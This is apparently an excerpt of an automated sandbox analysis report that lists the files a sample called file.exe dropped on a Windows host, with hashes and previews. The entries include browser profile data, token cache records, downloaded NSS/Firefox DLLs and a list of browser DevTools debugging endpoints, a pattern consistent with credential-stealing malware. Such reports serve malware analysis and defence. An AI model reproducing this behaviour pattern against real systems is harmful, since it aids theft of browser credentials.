File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.9997604236227975
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXHWTnYn:YWLSGTt1o9LuLgfGBPAzkVj/T8l0nYn
MD5:	AB0362D9D01894F10C9594A8721DC5EA
SHA1:	0457D24EA771A0BEDACD780797BE5B11DC0A4BD0
SHA-256:	F1F9C3303B97D0D75EA92F8E09FDF99999B68044C9C27A3590D00459F2FAD535
SHA-512:	17528D04CD85DCAF5200BCED8C8C03C3EED8B36D8B8FAA53296C8B6AADE03860270134715EC2F697DC1FB4C63C28744C3D207DDA7AAC6AC8E17BBB1841C28D42
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732572703415621}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\bfc6847a-9771-46fc-a69e-66174da7dd99.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45833
Entropy (8bit):	6.087231317270661
Encrypted:	false
SSDEEP:	768:qMkbJrT8IeQc5dXzk9LmZL836KM9Np4bbTIB4H8Du/C1okwWE7RTupzKscDX//Nr:qMk1rT8H1XrdKMZiCgIokoRTuiB
MD5:	3A70771FC95FF8AED4C851BEB55ECD5E
SHA1:	92A160D32355662178EC885D71F8F1205C539F66
SHA-256:	CF8A5281AF4BDFFF3C3AB7DE0FE99F5882F960DB4951BC3BC8B5947C8FCE6EE5
SHA-512:	DA7D96A75B2E3CAD404BF926BD7D3864C8179DB20AA6B1976B295F2D7D650F2233269DA3760A3700585CAD63B91E35065BFFA0DA43D84273BE512DC68608D392
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"6df23a3c-99e2-4a3a-9ea0-7a4415ced877"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732471903"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e7adb3c5-4b1d-45d8-a037-448f70f98613.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	45957
Entropy (8bit):	6.087015388554029
Encrypted:	false
SSDEEP:	768:qMkbJrT8IeQc58Kz+9LmZL836KMzNp4bbTIB4H8Du/C1okwWE7RTupzKscDX//Nr:qMk1rT8HUK1dKM3iCgIokoRTuiB
MD5:	15EA3D22E18A5BAF6A4F27A4B4FC0A9E
SHA1:	E3D1EDF4CD76014EE6068A76CCAD82537DB0EAFC
SHA-256:	4D4EA55FDF699A0AB083726B4DC32E4B7351FE434E08DDDCD151D95BD0ADB935
SHA-512:	A6BD419925A92285BA23D57715262CE79322238932B7399093A01F7AA2A4D5DB57C42BC04E43F443B17438FE066A2A7E2208A7729272A965742DB82EC650CE5C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"6df23a3c-99e2-4a3a-9ea0-7a4415ced877"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732471903"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f08c4941-5ccc-4e19-b626-eac28d226227.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44629
Entropy (8bit):	6.096157675335084
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4krkLmZL836KMrxHqcsojfKwWE7RTupzKscDX//NPC1L:z/Ps+wsI7ynLdKMLKoRTuiVIos
MD5:	24F7B803855DD9F7DB7A5A4764EAEADC
SHA1:	18B737B4ED596F1FEB6F7265E5EFB9B47C4667D7
SHA-256:	02E95E5C5CDCED4E8024434EC9E9043906608F0CD777007805DE31E83B978119
SHA-512:	B6A21610B0FAFC4A3F93C9ED3213DC48FE741D1356B514081E184E57CEF764C59658E62C62ECC34F954EDB17D3D11FB96645CDBCA7004636D7CCC31EC1DCB657
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f295d4a8-ccf4-4250-831d-7cf04789cb5b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45957
Entropy (8bit):	6.087016534777294
Encrypted:	false
SSDEEP:	768:qMkbJrT8IeQc58Xz+9LmZL836KMzNp4bbTIB4H8Du/C1okwWE7RTupzKscDX//Nr:qMk1rT8HUX1dKM3iCgIokoRTuiB
MD5:	A973E73642408B056CE54B93CAF808CB
SHA1:	029AADA0066AAC859482F9B4A7DEE9DB4E6EFB3A
SHA-256:	B357B0330DBE85086A5BB2BBBEEC88889AE99376B17375C09984934A8DC449D8
SHA-512:	19174C24D5E85819D8ECC2EA88530CDB9F4ADF04C30132DC8DC35F09BADFE6BE203640B0090B126531A2311F8EFB6A3171FA646964CB5C8D77B01871FAAC8C88
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"6df23a3c-99e2-4a3a-9ea0-7a4415ced877"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732471903"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.846727230037885
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxMxl9Il8ugUy/eECesSV3aGyu3JqZlq/QZd1rc:mBY2Uy2z+a03JU6
MD5:	2C79F3DD973B9F873A67D235E655819D
SHA1:	322E97497DB63C7F5F1C4068EA028833A2C3F553
SHA-256:	2D3767945C21DBF6D9223EE35212A32380B85BB748858764831F60B1C40C04A3
SHA-512:	BEB54D7D057E02EF3925F31979645B63579F08AB1D29875C4A157EDD3EE956CBB13F455C6482614AE4CDA3E35EC0177F368493634B1EC7DB6CCB16BD2E26EBF6
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.M.G.g.s.q.Q.+.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.Z.K.M.H.M.S.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.002285187729875
Encrypted:	false
SSDEEP:	96:oY+l0a7txWlFsgwbWm3898wJMPW0OAxg6sdtwR6BR:ory8txWsgwSZ98wJ8W0HavwsBR
MD5:	7FFA0AC7D2D5DB381F4408C13B8B9E74
SHA1:	D994A40DB3E8CB2FF1176E617E65A07CE7AFD355
SHA-256:	4DE810016E0A04FE549F0120D1B3D2C02E155C36AF64399C586C6CBED902D2A3
SHA-512:	3AADD3A92F91E58A6CAB235C66ED9D5F02DC58AF0441A8E1CECB726B8B8EA1F6C1F140C24560277B0AD290CD52E4C9559E7F740C2ED41738562C4E27F799374B
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".b.K.R.n.l.5.w.+.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.Z.K.M.H.M.S.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.906028423305134
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7x+xl9Il8u1xwkBHYzLIWqrn4yOl/h3BlUDwv/d/vc:aEYVwkuzL/qsjlh3BlUDwi
MD5:	5FD57EB4240607605F4A97CE4CC73918
SHA1:	DA6406527B1E08105AC39D3D4636EA2A655CE852
SHA-256:	1A8300790695C3A985C5D845A2B2412BB8B441BE669BAB7054463C4CE2A5843E
SHA-512:	B7C3361E073B6776B313901D0B5935740EABAEFD00ACA433993EA94F66DBEE707D7FFDBE214818E146054EE648352EC71100CC39820B3E13406478111035355C
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".j.m.T.g.x.2.1.d.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.Z.K.M.H.M.S.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.370711928996748
Encrypted:	false
SSDEEP:	48:SfNaoQ5TEQHfNaoQ0OCQ01fNaoQdQwfNaoQXOIOBb0UrU0U8QXX:6NnQ5TEQ/NnQ0OCQ0hNnQdQ8NnQ+f50f
MD5:	9A0D92B0C7C7D4AFCC7A5F9CD7F5FDC2
SHA1:	2AC7EEDA277ED52659E9FDEBF266AA480D12EA11
SHA-256:	A91C1BD8FF7EDBCB2D9BA80774118C4D56D2E858730ECF015D907514AB2F76C2
SHA-512:	3AE94F230A99951F9E58D09B0B1550E5C2EB46A4686F39BEB2F1E3478FC1DCC6CD7B6A2355F3DCC1F660618304FE81DAE3566DF1A90F4E38B6F3191568F11B54
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/FB90FFF794F59F36AFFFA5BD71496954",.. "id": "FB90FFF794F59F36AFFFA5BD71496954",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/FB90FFF794F59F36AFFFA5BD71496954"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/F8B07588FCB6C8052191D90E8FCDD4F2",.. "id": "F8B07588FCB6C8052191D90E8FCDD4F2",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/F8B07588FCB6C8052191D90E8FCDD4F2"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
